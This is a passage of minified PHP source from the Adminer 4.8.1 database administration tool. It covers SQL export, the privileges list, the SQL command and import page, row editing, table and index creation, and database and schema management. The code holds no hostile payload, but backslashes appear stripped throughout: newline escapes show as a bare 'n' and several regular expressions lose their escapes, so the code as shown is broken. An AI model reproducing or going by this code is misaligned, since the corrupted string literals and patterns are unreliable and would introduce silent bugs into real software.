use_sql($l).";nn";$Lf="";if($_POST["routines"]){foreach(array("FUNCTION","PROCEDURE")as$Wg){foreach(get_rows("SHOW $Wg STATUS WHERE Db = ".q($l),null,"-- ")as$J){$i=remove_definer($g->result("SHOW CREATE $Wg ".idf_escape($J["Name"]),2));set_utf8mb4($i);$Lf.=($Kh!='DROP+CREATE'?"DROP $Wg IF EXISTS ".idf_escape($J["Name"]).";;n":"")."$i;;nn";}}}if($_POST["events"]){foreach(get_rows("SHOW EVENTS",null,"-- ")as$J){$i=remove_definer($g->result("SHOW CREATE EVENT ".idf_escape($J["Name"]),3));set_utf8mb4($i);$Lf.=($Kh!='DROP+CREATE'?"DROP EVENT IF EXISTS ".idf_escape($J["Name"]).";;n":"")."$i;;nn";}}if($Lf)echo"DELIMITER ;;nn$Lf"."DELIMITER ;nn";}if($_POST["table_style"]||$_POST["data_style"]){$bj=array();foreach(table_status('',true)as$D=>$R){$Q=(DB==""||in_array($D,(array)$_POST["tables"]));$Rb=(DB==""||in_array($D,(array)$_POST["data"]));if($Q||$Rb){if($Oc=="tar"){$ni=new
TmpFile;ob_start(array($ni,'write'),1e5);}$b->dumpTable($D,($Q?$_POST["table_style"]:""),(is_view($R)?2:0));if(is_view($R))$bj[]=$D;elseif($Rb){$p=fields($D);$b->dumpData($D,$_POST["data_style"],"SELECT *".convert_fields($p,$p)." FROM ".table($D));}if($de&&$_POST["triggers"]&&$Q&&($Bi=trigger_sql($D)))echo"nDELIMITER ;;n$BinDELIMITER ;n";if($Oc=="tar"){ob_end_flush();tar_file((DB!=""?"":"$l/")."$D.csv",$ni);}elseif($de)echo"n";}}if(function_exists('foreign_keys_sql')){foreach(table_status('',true)as$D=>$R){$Q=(DB==""||in_array($D,(array)$_POST["tables"]));if($Q&&!is_view($R))echo
foreign_keys_sql($D);}}foreach($bj
as$aj)$b->dumpTable($aj,$_POST["table_style"],1);if($Oc=="tar")echo
pack("x512");}}}if($de)echo"-- ".$g->result("SELECT NOW()")."n";exit;}page_header(lang(73),$n,($_GET["export"]!=""?array("table"=>$_GET["export"]):array()),h(DB));echo'
<form action="" method="post">
<table cellspacing="0" class="layout">
';$Vb=array('','USE','DROP+CREATE','CREATE');$Vh=array('','DROP+CREATE','CREATE');$Sb=array('','TRUNCATE+INSERT','INSERT');if($y=="sql")$Sb[]='INSERT+UPDATE';parse_str($_COOKIE["adminer_export"],$J);if(!$J)$J=array("output"=>"text","format"=>"sql","db_style"=>(DB!=""?"":"CREATE"),"table_style"=>"DROP+CREATE","data_style"=>"INSERT");if(!isset($J["events"])){$J["routines"]=$J["events"]=($_GET["dump"]=="");$J["triggers"]=$J["table_style"];}echo"<tr><th>".lang(141)."<td>".html_select("output",$b->dumpOutput(),$J["output"],0)."n";echo"<tr><th>".lang(142)."<td>".html_select("format",$b->dumpFormat(),$J["format"],0)."n";echo($y=="sqlite"?"":"<tr><th>".lang(37)."<td>".html_select('db_style',$Vb,$J["db_style"]).(support("routine")?checkbox("routines",1,$J["routines"],lang(143)):"").(support("event")?checkbox("events",1,$J["events"],lang(144)):"")),"<tr><th>".lang(123)."<td>".html_select('table_style',$Vh,$J["table_style"]).checkbox("auto_increment",1,$J["auto_increment"],lang(51)).(support("trigger")?checkbox("triggers",1,$J["triggers"],lang(138)):""),"<tr><th>".lang(145)."<td>".html_select('data_style',$Sb,$J["data_style"]),'</table>
<p><input type="submit" value="',lang(73),'">
<input type="hidden" name="token" value="',$qi,'">

<table cellspacing="0">
',script("qsl('table').onclick = dumpClick;");$mg=array();if(DB!=""){$db=($a!=""?"":" checked");echo"<thead><tr>","<th style='text-align: left;'><label class='block'><input type='checkbox' id='check-tables'$db>".lang(123)."</label>".script("qs('#check-tables').onclick = partial(formCheck, /^tables\[/);",""),"<th style='text-align: right;'><label class='block'>".lang(145)."<input type='checkbox' id='check-data'$db></label>".script("qs('#check-data').onclick = partial(formCheck, /^data\[/);",""),"</thead>n";$bj="";$Wh=tables_list();foreach($Wh
as$D=>$T){$lg=preg_replace('~_.*~','',$D);$db=($a==""||$a==(substr($a,-1)=="%"?"$lg%":$D));$pg="<tr><td>".checkbox("tables[]",$D,$db,$D,"","block");if($T!==null&&!preg_match('~table~i',$T))$bj.="$pgn";else
echo"$pg<td align='right'><label class='block'><span id='Rows-".h($D)."'></span>".checkbox("data[]",$D,$db)."</label>n";$mg[$lg]++;}echo$bj;if($Wh)echo
script("ajaxSetHtml('".js_escape(ME)."script=db');");}else{echo"<thead><tr><th style='text-align: left;'>","<label class='block'><input type='checkbox' id='check-databases'".($a==""?" checked":"").">".lang(37)."</label>",script("qs('#check-databases').onclick = partial(formCheck, /^databases\[/);",""),"</thead>n";$k=$b->databases();if($k){foreach($k
as$l){if(!information_schema($l)){$lg=preg_replace('~_.*~','',$l);echo"<tr><td>".checkbox("databases[]",$l,$a==""||$a=="$lg%",$l,"","block")."n";$mg[$lg]++;}}}else
echo"<tr><td><textarea name='databases' rows='10' cols='20'></textarea>";}echo'</table>
</form>
';$bd=true;foreach($mg
as$z=>$X){if($z!=""&&$X>1){echo($bd?"<p>":" ")."<a href='".h(ME)."dump=".urlencode("$z%")."'>".h($z)."</a>";$bd=false;}}}elseif(isset($_GET["privileges"])){page_header(lang(71));echo'<p class="links"><a href="'.h(ME).'user=">'.lang(146)."</a>";$H=$g->query("SELECT User, Host FROM mysql.".(DB==""?"user":"db WHERE ".q(DB)." LIKE Db")." ORDER BY Host, User");$qd=$H;if(!$H)$H=$g->query("SELECT SUBSTRING_INDEX(CURRENT_USER, '@', 1) AS User, SUBSTRING_INDEX(CURRENT_USER, '@', -1) AS Host");echo"<form action=''><p>n";hidden_fields_get();echo"<input type='hidden' name='db' value='".h(DB)."'>n",($qd?"":"<input type='hidden' name='grant' value=''>n"),"<table cellspacing='0'>n","<thead><tr><th>".lang(35)."<th>".lang(34)."<th></thead>n";while($J=$H->fetch_assoc())echo'<tr'.odd().'><td>'.h($J["User"])."<td>".h($J["Host"]).'<td><a href="'.h(ME.'user='.urlencode($J["User"]).'&host='.urlencode($J["Host"])).'">'.lang(10)."</a>n";if(!$qd||DB!="")echo"<tr".odd()."><td><input name='user' autocapitalize='off'><td><input name='host' value='localhost' autocapitalize='off'><td><input type='submit' value='".lang(10)."'>n";echo"</table>n","</form>n";}elseif(isset($_GET["sql"])){if(!$n&&$_POST["export"]){dump_headers("sql");$b->dumpTable("","");$b->dumpData("","table",$_POST["query"]);exit;}restart_session();$Dd=&get_session("queries");$Cd=&$Dd[DB];if(!$n&&$_POST["clear"]){$Cd=array();redirect(remove_from_uri("history"));}page_header((isset($_GET["import"])?lang(72):lang(64)),$n);if(!$n&&$_POST){$nd=false;if(!isset($_GET["import"]))$G=$_POST["query"];elseif($_POST["webfile"]){$Bh=$b->importServerPath();$nd=@fopen((file_exists($Bh)?$Bh:"compress.zlib://$Bh.gz"),"rb");$G=($nd?fread($nd,1e6):false);}else$G=get_file("sql_file",true);if(is_string($G)){if(function_exists('memory_get_usage'))@ini_set("memory_limit",max(ini_bytes("memory_limit"),2*strlen($G)+memory_get_usage()+8e6));if($G!=""&&strlen($G)<1e6){$xg=$G.(preg_match("~;[ trn]*$~",$G)?"":";");if(!$Cd||reset(end($Cd))!=$xg){restart_session();$Cd[]=array($xg,time());set_session("queries",$Dd);stop_session();}}$zh="(?:\s|/\*[sS]*?\*/|(?:#|-- )[^n]*n?|--r?n)";$cc=";";$kf=0;$zc=true;$h=connect();if(is_object($h)&&DB!=""){$h->select_db(DB);if($_GET["ns"]!="")set_schema($_GET["ns"],$h);}$sb=0;$Dc=array();$Sf='['"'.($y=="sql"?'`#':($y=="sqlite"?'`[':($y=="mssql"?'[':''))).']|/*|-- |$'.($y=="pgsql"?'|$[^$]*$':'');$si=microtime(true);parse_str($_COOKIE["adminer_export"],$ya);$qc=$b->dumpFormat();unset($qc["sql"]);while($G!=""){if(!$kf&&preg_match("~^$zh*+DELIMITER\s+(\S+)~i",$G,$C)){$cc=$C[1];$G=substr($G,strlen($C[0]));}else{preg_match('('.preg_quote($cc)."\s*|$Sf)",$G,$C,PREG_OFFSET_CAPTURE,$kf);list($ld,$hg)=$C[0];if(!$ld&&$nd&&!feof($nd))$G.=fread($nd,1e5);else{if(!$ld&&rtrim($G)=="")break;$kf=$hg+strlen($ld);if($ld&&rtrim($ld)!=$cc){while(preg_match('('.($ld=='/*'?'*/':($ld=='['?']':(preg_match('~^-- |^#~',$ld)?"n":preg_quote($ld)."|\\."))).'|$)s',$G,$C,PREG_OFFSET_CAPTURE,$kf)){$ah=$C[0][0];if(!$ah&&$nd&&!feof($nd))$G.=fread($nd,1e5);else{$kf=$C[0][1]+strlen($ah);if($ah[0]!="\")break;}}}else{$zc=false;$xg=substr($G,0,$hg);$sb++;$pg="<pre id='sql-$sb'><code class='jush-$y'>".$b->sqlCommandQuery($xg)."</code></pre>n";if($y=="sqlite"&&preg_match("~^$zh*+ATTACH\b~i",$xg,$C)){echo$pg,"<p class='error'>".lang(147)."n";$Dc[]=" <a href='#sql-$sb'>$sb</a>";if($_POST["error_stops"])break;}else{if(!$_POST["only_errors"]){echo$pg;ob_flush();flush();}$Fh=microtime(true);if($g->multi_query($xg)&&is_object($h)&&preg_match("~^$zh*+USE\b~i",$xg))$h->query($xg);do{$H=$g->store_result();if($g->error){echo($_POST["only_errors"]?$pg:""),"<p class='error'>".lang(148).($g->errno?" ($g->errno)":"").": ".error()."n";$Dc[]=" <a href='#sql-$sb'>$sb</a>";if($_POST["error_stops"])break
2;}else{$gi=" <span class='time'>(".format_time($Fh).")</span>".(strlen($xg)<1000?" <a href='".h(ME)."sql=".urlencode(trim($xg))."'>".lang(10)."</a>":"");$_a=$g->affected_rows;$ej=($_POST["only_errors"]?"":$m->warnings());$fj="warnings-$sb";if($ej)$gi.=", <a href='#$fj'>".lang(46)."</a>".script("qsl('a').onclick = partial(toggle, '$fj');","");$Lc=null;$Mc="explain-$sb";if(is_object($H)){$_=$_POST["limit"];$Ef=select($H,$h,array(),$_);if(!$_POST["only_errors"]){echo"<form action='' method='post'>n";$gf=$H->num_rows;echo"<p>".($gf?($_&&$gf>$_?lang(149,$_):"").lang(150,$gf):""),$gi;if($h&&preg_match("~^($zh|\()*+SELECT\b~i",$xg)&&($Lc=explain($h,$xg)))echo", <a href='#$Mc'>Explain</a>".script("qsl('a').onclick = partial(toggle, '$Mc');","");$u="export-$sb";echo", <a href='#$u'>".lang(73)."</a>".script("qsl('a').onclick = partial(toggle, '$u');","")."<span id='$u' class='hidden'>: ".html_select("output",$b->dumpOutput(),$ya["output"])." ".html_select("format",$qc,$ya["format"])."<input type='hidden' name='query' value='".h($xg)."'>"." <input type='submit' name='export' value='".lang(73)."'><input type='hidden' name='token' value='$qi'></span>n"."</form>n";}}else{if(preg_match("~^$zh*+(CREATE|DROP|ALTER)$zh++(DATABASE|SCHEMA)\b~i",$xg)){restart_session();set_session("dbs",null);stop_session();}if(!$_POST["only_errors"])echo"<p class='message' title='".h($g->info)."'>".lang(151,$_a)."$gin";}echo($ej?"<div id='$fj' class='hidden'>n$ej</div>n":"");if($Lc){echo"<div id='$Mc' class='hidden'>n";select($Lc,$h,$Ef);echo"</div>n";}}$Fh=microtime(true);}while($g->next_result());}$G=substr($G,$kf);$kf=0;}}}}if($zc)echo"<p class='message'>".lang(152)."n";elseif($_POST["only_errors"]){echo"<p class='message'>".lang(153,$sb-count($Dc))," <span class='time'>(".format_time($si).")</span>n";}elseif($Dc&&$sb>1)echo"<p class='error'>".lang(148).": ".implode("",$Dc)."n";}else
echo"<p class='error'>".upload_error($G)."n";}echo'
<form action="" method="post" enctype="multipart/form-data" id="form">
';$Jc="<input type='submit' value='".lang(154)."' title='Ctrl+Enter'>";if(!isset($_GET["import"])){$xg=$_GET["sql"];if($_POST)$xg=$_POST["query"];elseif($_GET["history"]=="all")$xg=$Cd;elseif($_GET["history"]!="")$xg=$Cd[$_GET["history"]][0];echo"<p>";textarea("query",$xg,20);echo
script(($_POST?"":"qs('textarea').focus();n")."qs('#form').onsubmit = partial(sqlSubmit, qs('#form'), '".js_escape(remove_from_uri("sql|limit|error_stops|only_errors|history"))."');"),"<p>$Jcn",lang(155).": <input type='number' name='limit' class='size' value='".h($_POST?$_POST["limit"]:$_GET["limit"])."'>n";}else{echo"<fieldset><legend>".lang(156)."</legend><div>";$wd=(extension_loaded("zlib")?"[.gz]":"");echo(ini_bool("file_uploads")?"SQL$wd (&lt; ".ini_get("upload_max_filesize")."B): <input type='file' name='sql_file[]' multiple>n$Jc":lang(157)),"</div></fieldset>n";$Kd=$b->importServerPath();if($Kd){echo"<fieldset><legend>".lang(158)."</legend><div>",lang(159,"<code>".h($Kd)."$wd</code>"),' <input type="submit" name="webfile" value="'.lang(160).'">',"</div></fieldset>n";}echo"<p>";}echo
checkbox("error_stops",1,($_POST?$_POST["error_stops"]:isset($_GET["import"])||$_GET["error_stops"]),lang(161))."n",checkbox("only_errors",1,($_POST?$_POST["only_errors"]:isset($_GET["import"])||$_GET["only_errors"]),lang(162))."n","<input type='hidden' name='token' value='$qi'>n";if(!isset($_GET["import"])&&$Cd){print_fieldset("history",lang(163),$_GET["history"]!="");for($X=end($Cd);$X;$X=prev($Cd)){$z=key($Cd);list($xg,$gi,$uc)=$X;echo'<a href="'.h(ME."sql=&history=$z").'">'.lang(10)."</a>"." <span class='time' title='".@date('Y-m-d',$gi)."'>".@date("H:i:s",$gi)."</span>"." <code class='jush-$y'>".shorten_utf8(ltrim(str_replace("n"," ",str_replace("r","",preg_replace('~^(#|-- ).*~m','',$xg)))),80,"</code>").($uc?" <span class='time'>($uc)</span>":"")."<br>n";}echo"<input type='submit' name='clear' value='".lang(164)."'>n","<a href='".h(ME."sql=&history=all")."'>".lang(165)."</a>n","</div></fieldset>n";}echo'</form>
';}elseif(isset($_GET["edit"])){$a=$_GET["edit"];$p=fields($a);$Z=(isset($_GET["select"])?($_POST["check"]&&count($_POST["check"])==1?where_check($_POST["check"][0],$p):""):where($_GET,$p));$Li=(isset($_GET["select"])?$_POST["edit"]:$Z);foreach($p
as$D=>$o){if(!isset($o["privileges"][$Li?"update":"insert"])||$b->fieldName($o)==""||$o["generated"])unset($p[$D]);}if($_POST&&!$n&&!isset($_GET["select"])){$B=$_POST["referer"];if($_POST["insert"])$B=($Li?null:$_SERVER["REQUEST_URI"]);elseif(!preg_match('~^.+&select=.+$~',$B))$B=ME."select=".urlencode($a);$x=indexes($a);$Gi=unique_array($_GET["where"],$x);$_g="nWHERE $Z";if(isset($_POST["delete"]))queries_redirect($B,lang(166),$m->delete($a,$_g,!$Gi));else{$N=array();foreach($p
as$D=>$o){$X=process_input($o);if($X!==false&&$X!==null)$N[idf_escape($D)]=$X;}if($Li){if(!$N)redirect($B);queries_redirect($B,lang(167),$m->update($a,$N,$_g,!$Gi));if(is_ajax()){page_headers();page_messages($n);exit;}}else{$H=$m->insert($a,$N);$re=($H?last_id():0);queries_redirect($B,lang(168,($re?" $re":"")),$H);}}}$J=null;if($_POST["save"])$J=(array)$_POST["fields"];elseif($Z){$L=array();foreach($p
as$D=>$o){if(isset($o["privileges"]["select"])){$Ga=convert_field($o);if($_POST["clone"]&&$o["auto_increment"])$Ga="''";if($y=="sql"&&preg_match("~enum|set~",$o["type"]))$Ga="1*".idf_escape($D);$L[]=($Ga?"$Ga AS ":"").idf_escape($D);}}$J=array();if(!support("table"))$L=array("*");if($L){$H=$m->select($a,$L,array($Z),$L,array(),(isset($_GET["select"])?2:1));if(!$H)$n=error();else{$J=$H->fetch_assoc();if(!$J)$J=false;}if(isset($_GET["select"])&&(!$J||$H->fetch_assoc()))$J=null;}}if(!support("table")&&!$p){if(!$Z){$H=$m->select($a,array("*"),$Z,array("*"));$J=($H?$H->fetch_assoc():false);if(!$J)$J=array($m->primary=>"");}if($J){foreach($J
as$z=>$X){if(!$Z)$J[$z]=null;$p[$z]=array("field"=>$z,"null"=>($z!=$m->primary),"auto_increment"=>($z==$m->primary));}}}edit_form($a,$p,$J,$Li);}elseif(isset($_GET["create"])){$a=$_GET["create"];$Uf=array();foreach(array('HASH','LINEAR HASH','KEY','LINEAR KEY','RANGE','LIST')as$z)$Uf[$z]=$z;$Gg=referencable_primary($a);$jd=array();foreach($Gg
as$Rh=>$o)$jd[str_replace("`","``",$Rh)."`".str_replace("`","``",$o["field"])]=$Rh;$Hf=array();$R=array();if($a!=""){$Hf=fields($a);$R=table_status($a);if(!$R)$n=lang(9);}$J=$_POST;$J["fields"]=(array)$J["fields"];if($J["auto_increment_col"])$J["fields"][$J["auto_increment_col"]]["auto_increment"]=true;if($_POST)set_adminer_settings(array("comments"=>$_POST["comments"],"defaults"=>$_POST["defaults"]));if($_POST&&!process_fields($J["fields"])&&!$n){if($_POST["drop"])queries_redirect(substr(ME,0,-1),lang(169),drop_tables(array($a)));else{$p=array();$Da=array();$Pi=false;$hd=array();$Gf=reset($Hf);$Ba=" FIRST";foreach($J["fields"]as$z=>$o){$r=$jd[$o["type"]];$Ci=($r!==null?$Gg[$r]:$o);if($o["field"]!=""){if(!$o["has_default"])$o["default"]=null;if($z==$J["auto_increment_col"])$o["auto_increment"]=true;$ug=process_field($o,$Ci);$Da[]=array($o["orig"],$ug,$Ba);if(!$Gf||$ug!=process_field($Gf,$Gf)){$p[]=array($o["orig"],$ug,$Ba);if($o["orig"]!=""||$Ba)$Pi=true;}if($r!==null)$hd[idf_escape($o["field"])]=($a!=""&&$y!="sqlite"?"ADD":" ").format_foreign_key(array('table'=>$jd[$o["type"]],'source'=>array($o["field"]),'target'=>array($Ci["field"]),'on_delete'=>$o["on_delete"],));$Ba=" AFTER ".idf_escape($o["field"]);}elseif($o["orig"]!=""){$Pi=true;$p[]=array($o["orig"]);}if($o["orig"]!=""){$Gf=next($Hf);if(!$Gf)$Ba="";}}$Wf="";if($Uf[$J["partition_by"]]){$Xf=array();if($J["partition_by"]=='RANGE'||$J["partition_by"]=='LIST'){foreach(array_filter($J["partition_names"])as$z=>$X){$Y=$J["partition_values"][$z];$Xf[]="n  PARTITION ".idf_escape($X)." VALUES ".($J["partition_by"]=='RANGE'?"LESS THAN":"IN").($Y!=""?" ($Y)":" MAXVALUE");}}$Wf.="nPARTITION BY $J[partition_by]($J[partition])".($Xf?" (".implode(",",$Xf)."n)":($J["partitions"]?" PARTITIONS ".(+$J["partitions"]):""));}elseif(support("partitioning")&&preg_match("~partitioned~",$R["Create_options"]))$Wf.="nREMOVE PARTITIONING";$Ne=lang(170);if($a==""){cookie("adminer_engine",$J["Engine"]);$Ne=lang(171);}$D=trim($J["name"]);queries_redirect(ME.(support("table")?"table=":"select=").urlencode($D),$Ne,alter_table($a,$D,($y=="sqlite"&&($Pi||$hd)?$Da:$p),$hd,($J["Comment"]!=$R["Comment"]?$J["Comment"]:null),($J["Engine"]&&$J["Engine"]!=$R["Engine"]?$J["Engine"]:""),($J["Collation"]&&$J["Collation"]!=$R["Collation"]?$J["Collation"]:""),($J["Auto_increment"]!=""?number($J["Auto_increment"]):""),$Wf));}}page_header(($a!=""?lang(44):lang(74)),$n,array("table"=>$a),h($a));if(!$_POST){$J=array("Engine"=>$_COOKIE["adminer_engine"],"fields"=>array(array("field"=>"","type"=>(isset($U["int"])?"int":(isset($U["integer"])?"integer":"")),"on_update"=>"")),"partition_names"=>array(""),);if($a!=""){$J=$R;$J["name"]=$a;$J["fields"]=array();if(!$_GET["auto_increment"])$J["Auto_increment"]="";foreach($Hf
as$o){$o["has_default"]=isset($o["default"]);$J["fields"][]=$o;}if(support("partitioning")){$od="FROM information_schema.PARTITIONS WHERE TABLE_SCHEMA = ".q(DB)." AND TABLE_NAME = ".q($a);$H=$g->query("SELECT PARTITION_METHOD, PARTITION_ORDINAL_POSITION, PARTITION_EXPRESSION $od ORDER BY PARTITION_ORDINAL_POSITION DESC LIMIT 1");list($J["partition_by"],$J["partitions"],$J["partition"])=$H->fetch_row();$Xf=get_key_vals("SELECT PARTITION_NAME, PARTITION_DESCRIPTION $od AND PARTITION_NAME != '' ORDER BY PARTITION_ORDINAL_POSITION");$Xf[""]="";$J["partition_names"]=array_keys($Xf);$J["partition_values"]=array_values($Xf);}}}$nb=collations();$Ac=engines();foreach($Ac
as$_c){if(!strcasecmp($_c,$J["Engine"])){$J["Engine"]=$_c;break;}}echo'
<form action="" method="post" id="form">
<p>
';if(support("columns")||$a==""){echo
lang(172),': <input name="name" data-maxlength="64" value="',h($J["name"]),'" autocapitalize="off">
';if($a==""&&!$_POST)echo
script("focus(qs('#form')['name']);");echo($Ac?"<select name='Engine'>".optionlist(array(""=>"(".lang(173).")")+$Ac,$J["Engine"])."</select>".on_help("getTarget(event).value",1).script("qsl('select').onchange = helpClose;"):""),' ',($nb&&!preg_match("~sqlite|mssql~",$y)?html_select("Collation",array(""=>"(".lang(101).")")+$nb,$J["Collation"]):""),' <input type="submit" value="',lang(14),'">
';}echo'
';if(support("columns")){echo'<div class="scrollable">
<table cellspacing="0" id="edit-fields" class="nowrap">
';edit_fields($J["fields"],$nb,"TABLE",$jd);echo'</table>
',script("editFields();"),'</div>
<p>
',lang(51),': <input type="number" name="Auto_increment" size="6" value="',h($J["Auto_increment"]),'">
',checkbox("defaults",1,($_POST?$_POST["defaults"]:adminer_setting("defaults")),lang(174),"columnShow(this.checked, 5)","jsonly"),(support("comment")?checkbox("comments",1,($_POST?$_POST["comments"]:adminer_setting("comments")),lang(50),"editingCommentsClick(this, true);","jsonly").' <input name="Comment" value="'.h($J["Comment"]).'" data-maxlength="'.(min_version(5.5)?2048:60).'">':''),'<p>
<input type="submit" value="',lang(14),'">
';}echo'
';if($a!=""){echo'<input type="submit" name="drop" value="',lang(127),'">',confirm(lang(175,$a));}if(support("partitioning")){$Vf=preg_match('~RANGE|LIST~',$J["partition_by"]);print_fieldset("partition",lang(176),$J["partition_by"]);echo'<p>
',"<select name='partition_by'>".optionlist(array(""=>"")+$Uf,$J["partition_by"])."</select>".on_help("getTarget(event).value.replace(/./, 'PARTITION BY $&')",1).script("qsl('select').onchange = partitionByChange;"),'(<input name="partition" value="',h($J["partition"]),'">)
',lang(177),': <input type="number" name="partitions" class="size',($Vf||!$J["partition_by"]?" hidden":""),'" value="',h($J["partitions"]),'">
<table cellspacing="0" id="partition-table"',($Vf?"":" class='hidden'"),'>
<thead><tr><th>',lang(178),'<th>',lang(179),'</thead>
';foreach($J["partition_names"]as$z=>$X){echo'<tr>','<td><input name="partition_names[]" value="'.h($X).'" autocapitalize="off">',($z==count($J["partition_names"])-1?script("qsl('input').oninput = partitionNameChange;"):''),'<td><input name="partition_values[]" value="'.h($J["partition_values"][$z]).'">';}echo'</table>
</div></fieldset>
';}echo'<input type="hidden" name="token" value="',$qi,'">
</form>
';}elseif(isset($_GET["indexes"])){$a=$_GET["indexes"];$Nd=array("PRIMARY","UNIQUE","INDEX");$R=table_status($a,true);if(preg_match('~MyISAM|M?aria'.(min_version(5.6,'10.0.5')?'|InnoDB':'').'~i',$R["Engine"]))$Nd[]="FULLTEXT";if(preg_match('~MyISAM|M?aria'.(min_version(5.7,'10.2.2')?'|InnoDB':'').'~i',$R["Engine"]))$Nd[]="SPATIAL";$x=indexes($a);$ng=array();if($y=="mongo"){$ng=$x["_id_"];unset($Nd[0]);unset($x["_id_"]);}$J=$_POST;if($_POST&&!$n&&!$_POST["add"]&&!$_POST["drop_col"]){$c=array();foreach($J["indexes"]as$w){$D=$w["name"];if(in_array($w["type"],$Nd)){$e=array();$xe=array();$ec=array();$N=array();ksort($w["columns"]);foreach($w["columns"]as$z=>$d){if($d!=""){$we=$w["lengths"][$z];$dc=$w["descs"][$z];$N[]=idf_escape($d).($we?"(".(+$we).")":"").($dc?" DESC":"");$e[]=$d;$xe[]=($we?$we:null);$ec[]=$dc;}}if($e){$Kc=$x[$D];if($Kc){ksort($Kc["columns"]);ksort($Kc["lengths"]);ksort($Kc["descs"]);if($w["type"]==$Kc["type"]&&array_values($Kc["columns"])===$e&&(!$Kc["lengths"]||array_values($Kc["lengths"])===$xe)&&array_values($Kc["descs"])===$ec){unset($x[$D]);continue;}}$c[]=array($w["type"],$D,$N);}}}foreach($x
as$D=>$Kc)$c[]=array($Kc["type"],$D,"DROP");if(!$c)redirect(ME."table=".urlencode($a));queries_redirect(ME."table=".urlencode($a),lang(180),alter_indexes($a,$c));}page_header(lang(132),$n,array("table"=>$a),h($a));$p=array_keys(fields($a));if($_POST["add"]){foreach($J["indexes"]as$z=>$w){if($w["columns"][count($w["columns"])]!="")$J["indexes"][$z]["columns"][]="";}$w=end($J["indexes"]);if($w["type"]||array_filter($w["columns"],'strlen'))$J["indexes"][]=array("columns"=>array(1=>""));}if(!$J){foreach($x
as$z=>$w){$x[$z]["name"]=$z;$x[$z]["columns"][]="";}$x[]=array("columns"=>array(1=>""));$J["indexes"]=$x;}echo'
<form action="" method="post">
<div class="scrollable">
<table cellspacing="0" class="nowrap">
<thead><tr>
<th id="label-type">',lang(181),'<th><input type="submit" class="wayoff">',lang(182),'<th id="label-name">',lang(183),'<th><noscript>',"<input type='image' class='icon' name='add[0]' src='".h(preg_replace("~\?.*~","",ME)."?file=plus.gif&version=4.8.1")."' alt='+' title='".lang(108)."'>",'</noscript>
</thead>
';if($ng){echo"<tr><td>PRIMARY<td>";foreach($ng["columns"]as$z=>$d){echo
select_input(" disabled",$p,$d),"<label><input disabled type='checkbox'>".lang(59)."</label> ";}echo"<td><td>n";}$ge=1;foreach($J["indexes"]as$w){if(!$_POST["drop_col"]||$ge!=key($_POST["drop_col"])){echo"<tr><td>".html_select("indexes[$ge][type]",array(-1=>"")+$Nd,$w["type"],($ge==count($J["indexes"])?"indexesAddRow.call(this);":1),"label-type"),"<td>";ksort($w["columns"]);$t=1;foreach($w["columns"]as$z=>$d){echo"<span>".select_input(" name='indexes[$ge][columns][$t]' title='".lang(48)."'",($p?array_combine($p,$p):$p),$d,"partial(".($t==count($w["columns"])?"indexesAddColumn":"indexesChangeColumn").", '".js_escape($y=="sql"?"":$_GET["indexes"]."_")."')"),($y=="sql"||$y=="mssql"?"<input type='number' name='indexes[$ge][lengths][$t]' class='size' value='".h($w["lengths"][$z])."' title='".lang(106)."'>":""),(support("descidx")?checkbox("indexes[$ge][descs][$t]",1,$w["descs"][$z],lang(59)):"")," </span>";$t++;}echo"<td><input name='indexes[$ge][name]' value='".h($w["name"])."' autocapitalize='off' aria-labelledby='label-name'>n","<td><input type='image' class='icon' name='drop_col[$ge]' src='".h(preg_replace("~\?.*~","",ME)."?file=cross.gif&version=4.8.1")."' alt='x' title='".lang(111)."'>".script("qsl('input').onclick = partial(editingRemoveRow, 'indexes$1[type]');");}$ge++;}echo'</table>
</div>
<p>
<input type="submit" value="',lang(14),'">
<input type="hidden" name="token" value="',$qi,'">
</form>
';}elseif(isset($_GET["database"])){$J=$_POST;if($_POST&&!$n&&!isset($_POST["add_x"])){$D=trim($J["name"]);if($_POST["drop"]){$_GET["db"]="";queries_redirect(remove_from_uri("db|database"),lang(184),drop_databases(array(DB)));}elseif(DB!==$D){if(DB!=""){$_GET["db"]=$D;queries_redirect(preg_replace('~bdb=[^&]*&~','',ME)."db=".urlencode($D),lang(185),rename_database($D,$J["collation"]));}else{$k=explode("n",str_replace("r","",$D));$Lh=true;$qe="";foreach($k
as$l){if(count($k)==1||$l!=""){if(!create_database($l,$J["collation"]))$Lh=false;$qe=$l;}}restart_session();set_session("dbs",null);queries_redirect(ME."db=".urlencode($qe),lang(186),$Lh);}}else{if(!$J["collation"])redirect(substr(ME,0,-1));query_redirect("ALTER DATABASE ".idf_escape($D).(preg_match('~^[a-z0-9_]+$~i',$J["collation"])?" COLLATE $J[collation]":""),substr(ME,0,-1),lang(187));}}page_header(DB!=""?lang(67):lang(115),$n,array(),h(DB));$nb=collations();$D=DB;if($_POST)$D=$J["name"];elseif(DB!="")$J["collation"]=db_collation(DB,$nb);elseif($y=="sql"){foreach(get_vals("SHOW GRANTS")as$qd){if(preg_match('~ ON (`(([^\\`]|``|\\.)*)%`.*)?~',$qd,$C)&&$C[1]){$D=stripcslashes(idf_unescape("`$C[2]`"));break;}}}echo'
<form action="" method="post">
<p>
',($_POST["add_x"]||strpos($D,"n")?'<textarea id="name" name="name" rows="10" cols="40">'.h($D).'</textarea><br>':'<input name="name" id="name" value="'.h($D).'" data-maxlength="64" autocapitalize="off">')."n".($nb?html_select("collation",array(""=>"(".lang(101).")")+$nb,$J["collation"]).doc_link(array('sql'=>"charset-charsets.html",'mariadb'=>"supported-character-sets-and-collations/",'mssql'=>"ms187963.aspx",)):""),script("focus(qs('#name'));"),'<input type="submit" value="',lang(14),'">
';if(DB!="")echo"<input type='submit' name='drop' value='".lang(127)."'>".confirm(lang(175,DB))."n";elseif(!$_POST["add_x"]&&$_GET["db"]=="")echo"<input type='image' class='icon' name='add' src='".h(preg_replace("~\?.*~","",ME)."?file=plus.gif&version=4.8.1")."' alt='+' title='".lang(108)."'>n";echo'<input type="hidden" name="token" value="',$qi,'">
</form>
';}elseif(isset($_GET["scheme"])){$J=$_POST;if($_POST&&!$n){$A=preg_replace('~ns=[^&]*&~','',ME)."ns=";if($_POST["drop"])query_redirect("DROP SCHEMA ".idf_escape($_GET["ns"]),$A,lang(188));else{$D=trim($J["name"]);$A.=urlencode($D);if($_GET["ns"]=="")query_redirect("CREATE SCHEMA ".idf_escape($D),$A,lang(189));elseif($_GET["ns"]!=$D)query_redirect("ALTER SCHEMA ".idf_escape($_GET["ns"])." RENAME TO ".idf_escape($D),$A,lang(190));else
redirect($A);}}page_header($_GET["ns"]!=""?lang(68):lang(69),$n);if(!$J)$J["name"]=$_GET["ns"];echo'
<form action="" method="post">
